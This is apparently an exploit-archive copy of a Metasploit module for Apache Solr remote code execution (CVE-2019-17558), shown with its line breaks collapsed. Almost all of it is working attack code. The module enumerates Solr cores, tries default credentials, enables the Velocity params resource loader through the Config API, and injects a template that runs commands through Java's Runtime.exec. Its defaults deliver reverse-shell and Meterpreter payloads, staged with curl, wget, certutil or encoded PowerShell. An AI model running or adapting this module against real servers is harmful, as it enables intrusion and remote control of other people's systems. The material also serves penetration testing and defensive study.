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Apache Solr Remote Code Execution via Velocity Template (Metasploit)

2020-04-18 16:00
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'msf/core/exploit/powershell'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::CmdStager  include Msf::Exploit::Powershell  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name'           => 'Apache Solr Remote Code Execution via Velocity Template',        'Description'    => %q(          This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom          Velocity template. Currently, this module only supports Solr basic authentication.          From the Tenable advisory:          An attacker could target a vulnerable Apache Solr instance by first identifying a list          of Solr core names. Once the core names have been identified, an attacker can send a specially crafted          HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response          Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity          template parameter in a specially crafted Solr request, leading to RCE.        ),        'License'        => MSF_LICENSE,        'Author'         =>          [            's00py', # Discovery and PoC            'jas502n', # exploit code on Github            'AleWong', # ExploitDB contribution, and exploit code on Github            'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module          ],        'References'     =>            [              [ 'EDB', '47572' ],              [ 'CVE', '2019-17558' ],              [ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],              [ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],              [ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],              [ 'URL', 'https://github.com/jas502n/solr_rce'],              [ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],            ],        'Platform'       => ['linux', 'unix', 'win'],        'Targets'        =>            [              [                'Unix (in-memory)',                {                  'Platform'       => 'unix',                  'Arch'           => ARCH_CMD,                  'Type'           => :unix_memory,                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }                }              ],              [                'Linux (dropper)',                {                  'Platform'        => 'linux',                  'Arch'            => [ARCH_X86, ARCH_X64],                  'Type'            => :linux_dropper,                  'DefaultOptions'  => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },                  'CmdStagerFlavor' => %w[curl wget]                }              ],              [                'x86/x64 Windows PowerShell',                {                  'Platform'        => 'win',                  'Arch'            => [ARCH_X86, ARCH_X64],                  'Type'            => :windows_psh,                  'DefaultOptions'  => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }                }              ],              [                'x86/x64 Windows CmdStager',                {                  'Platform'        => 'win',                  'Arch'            => [ARCH_X86, ARCH_X64],                  'Type'            => :windows_cmdstager,                  'DefaultOptions'  => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },                  'CmdStagerFlavor' => %w[vbs certutil]                }              ],              [                'Windows Exec',                {                  'Platform'        => 'win',                  'Arch'            => ARCH_CMD,                  'Type'            => :windows_exec,                  'DefaultOptions'  => { 'PAYLOAD' => 'cmd/windows/generic' }                }              ],            ],        'DisclosureDate' => "2019-10-29", # ISO-8601 formatted        'DefaultTarget'  => 0,        'Privileged'     => false      )    )    register_options(      [        Opt::RPORT(8983),        OptString.new('USERNAME', [false, 'Solr username', 'solr']),        OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),        OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])      ]    )  end  # if we are going to exploit, we only need one core to be exploitable  @vuln_core = ""  # OS specific stuff  @target_platform = ""  # if authentication is used  @auth_string = ""  def check_auth    # see if authentication is required for the specified Solr instance    auth_check = solr_get('uri' => normalize_uri(target_uri.path))    # successfully connected?    unless auth_check      print_bad("Connection failed!")      return nil    end    # if response code is not 200, then the Solr instance definitely requires authentication    unless auth_check.code == 200      # if authentication is required and creds are not provided, we cannot reliably check exploitability      if datastore['USERNAME'] == "" && datastore['PASSWORD'] == ""        print_bad("Credentials not provided, skipping credentialed check...")        return nil      end      # otherwise, try the given creds      auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])      attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)      # successfully connected?      unless attempt_auth        print_bad("Connection failed!")        return nil      end      # if the return code is not 200, then authentication definitely failed      unless attempt_auth.code == 200        print_bad("Invalid credentials!")        return nil      end      store_valid_credential(        user: datastore['USERNAME'],        private: datastore['PASSWORD'],        private_type: :password,        proof: attempt_auth.to_s      )      @auth_string = auth_string    end    # a placeholder return value. Not requiring auth should throw no errors    ""  end  # check for vulnerability existence  def check    auth_res = check_auth    unless auth_res      return CheckCode::Unknown("Authentication failed!")    end    # send a GET request to get Solr and system details    ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string)    # can't connect? that's an automatic failure    unless ver      return CheckCode::Unknown("Connection failed!")    end    # convert to JSON    ver_json = ver.get_json_document    # get Solr version    solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version'])    print_status("Found Apache Solr #{solr_version}")    # get OS version details    @target_platform = ver_json['system']['name']    target_arch = ver_json['system']['arch']    target_osver = ver_json['system']['version']    print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")    # uname doesn't show up for Windows, so run a check for that    if ver_json['system']['uname']      # print uname only when verbose      vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")    end    # the vulnerability is only present in Solr versions <= 8.3.0    unless solr_version <= Gem::Version.new('8.3.0')      return CheckCode::Safe("Running version of Solr is not vulnerable!")    end    # enumerate cores    cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string)    # can't connect? that's yet another automatic failure    unless cores      return CheckCode::Unknown("Could not enumerate cores!")    end    # convert to JSON yet again    cores_json = cores.get_json_document    # draw up an array of all the cores    cores_list = Array.new    # get the core names    cores_json['status'].keys.each do |core_name|      cores_list.push(core_name)    end    # no cores? that means nothing to exploit.    if cores_list.empty?      return CheckCode::Safe("No cores found, nothing to exploit!")    end    # got cores? tell the operator which cores were found    print_status("Found core(s): #{cores_list.join(', ')}")    possibly_vulnerable_cores = {}    cores_list.each do |core|      # for each core, attempt to get config      core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string)      # can't retrieve configuration for that core? go next      unless core_config        print_error("Could not retrieve configuration for core #{core}!")        next      end      # convert to JSON      core_config_json = core_config.get_json_document      # if the core configuration does not include the Velocity Response Writer, it isn't vulnerable      if core_config_json['config']['queryResponseWriter'].keys.include?("velocity")        vprint_good("Found Velocity Response Writer in use by core #{core}")        if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true"          vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.")          possibly_vulnerable_cores.store(core, true)        else          # if params.resource.loader.enabled is false, we need to set it to true before exploitation          print_warning("params.resource.loader.enabled for core #{core} is set to false.")          possibly_vulnerable_cores.store(core, false)        end      else        vprint_error("Velocity Response Writer not found in core #{core}")        next      end    end    # look at the array of possibly vulnerable cores    if possibly_vulnerable_cores.empty?      CheckCode::Safe("No cores are vulnerable!")    else      # if possible, pick a core that already has params.resource.loader.enabled set to true      possibly_vulnerable_cores.each do |core|        if core[1] == true          @vuln_core = core          break        end      end      # otherwise, just pick the first one      if @vuln_core.to_s == ""        @vuln_core = possibly_vulnerable_cores.first      end      CheckCode::Vulnerable    end  end  # the exploit method  def exploit    unless [CheckCode::Vulnerable].include? check      fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!"    end    print_status("Targeting core '#{@vuln_core[0]}'")    # if params.resource.loader.enabled for that core is false    if @vuln_core[1] != true      # the new config in JSON format      enable_params_resource_loader = {        "update-queryresponsewriter": {          "startup": "lazy",          "name": "velocity",          "class": "solr.VelocityResponseWriter",          "template.base.dir": "",          "solr.resource.loader.enabled": "true",          "params.resource.loader.enabled": "true"        }      }.to_json      opts_post = {        'method'        => 'POST',        'connection'    => 'Keep-Alive',        'ctype'         => 'application/json;charset=utf-8',        'encode_params' => false,        'uri'           => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'),        'data'          => enable_params_resource_loader      }      unless @auth_string == ""        opts_post.store('authorization', @auth_string)      end      print_status("params.resource.loader.enabled is false, setting it to true...")      update_config = send_request_cgi(opts_post)      unless update_config        fail_with Failure::Unreachable, "Connection failed!"      end      # if we got anything other than a 200 back, the configuration update failed and the exploit won't work      unless update_config.code == 200        fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!"      end      print_good("params.resource.loader.enabled is now set to true!")    end    # windows...    if @target_platform.include? "Windows"      # if target is wrong, warn and exit before doing anything      unless target.name.include? "Windows"        fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!"      end      case target['Type']      # PowerShell...      when :windows_psh        # need PowerShell for this        winenv_path = execute_command("C:\Windows\System32\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)        unless winenv_path          fail_with Failure::Unreachable, "Connection failed!"        end        # did the command to check for PATH execute?        unless winenv_path.code == 200          fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!"        end        # is PowerShell in PATH?        if /powershell/i =~ winenv_path.body.to_s          # only interested in the contents of PATH. Everything before it is irrelevant          paths = winenv_path.body.split('=')[1]          # confirm that PowerShell exists in the PATH by checking each one          paths.split(';').each do |path_val|            # if PowerShell exists in PATH, then we are good to go            unless /powershell/i =~ path_val              next            end            print_good("Found Powershell at #{path_val}")            # generate PowerShell command, encode with base64, and remove comspec            psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)            # specify full path to PowerShell            psh_cmd.insert(0, path_val)            # exploit the thing            execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])            break          end        else          fail_with Failure::BadConfig, "PowerShell not found!"        end      # ... CmdStager ...      when :windows_cmdstager        print_status("Sending CmdStager payload...")        execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])      # ... or plain old exec?      when :windows_exec        cmd = "C:\Windows\System32\cmd.exe /c #{payload.encoded}"        execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])      end    end    # ... or nix-based?    if @target_platform.include? "Linux"      # if target is wrong, warn and exit before doing anything      if target.name.include? "Windows"        fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!"      end      case target['Type']      when :linux_dropper        execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])      when :unix_memory        cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"        execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])      end    end  end  # some prep work has to be done to work around the limitations of Java's Runtime.exec()  def execute_cmdstager_begin(_opts)    if @target_platform.include? "Windows"      @cmd_list.each do |command|        command.insert(0, "C:\Windows\System32\cmd.exe /c ")      end    else      @cmd_list.each do |command|        command.insert(0, "/bin/bash -c $@|/bin/bash . echo ")      end    end  end  # sic 'em, bois!  def execute_command(cmd, opts = {})    # custom template which enables command execution    template = <<~VELOCITY      #set($x="")      #set($rt=$x.class.forName("java.lang.Runtime"))      #set($chr=$x.class.forName("java.lang.Character"))      #set($str=$x.class.forName("java.lang.String"))    VELOCITY    # attempts to solve the quoting problem, partially successful    if target.name.include?("Unix")      template += <<~VELOCITY        #set($ex=$rt.getRuntime().exec("#{cmd}"))      VELOCITY    else      template += <<~VELOCITY        #set($ex=$rt.getRuntime().exec('#{cmd}'))      VELOCITY    end    template += <<~VELOCITY      $ex.waitFor()    VELOCITY    # the next 2 lines cause problems with CmdStager, so it's only used when needed    # during the check for PowerShell existence, or by specific payloads    if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory      template += <<~VELOCITY        #set($out=$ex.getInputStream())        #if($out.available())        #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end        #else        #end      VELOCITY    end    # execute the exploit...    raw_result = solr_get(      'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),      'auth' => opts['auth_string'],      'vars_get' =>  {        'q'                 => '1',        'wt'                => 'velocity',        'v.template'        => 'custom',        'v.template.custom' => template      }    )    # Executing PATH always gives a result, so it can return safely    if opts['winenv_check']      return raw_result    end    # for printing command output    unless raw_result.nil?      unless raw_result.code == 200        fail_with Failure::PayloadFailed, "Payload failed to execute!"      end      # to get pretty output      result_inter = raw_result.body.to_s.sub("0n", ":::").split(":::").last      unless result_inter.nil?        final_result = result_inter.split("n").first.strip        print_good(final_result)      end    end  end  # make sending requests easier  def solr_get(opts = {})    send_request_cgi_opts = {      'method'        => 'GET',      'connection'    => 'Keep-Alive',      'uri'           => opts['uri']    }    # @auth_string defaults to "" if no authentication is necessary    # otherwise, authentication is required    if opts['auth'] != ""      send_request_cgi_opts.store('authorization', opts['auth'])    end    # a bit unrefined, but should suffice in this case    if opts['vars_get']      send_request_cgi_opts.store('vars_get', opts['vars_get'])    end    send_request_cgi(send_request_cgi_opts)  endend

Source: 4900400202-BLW/eussi/moc.ytirucesxc

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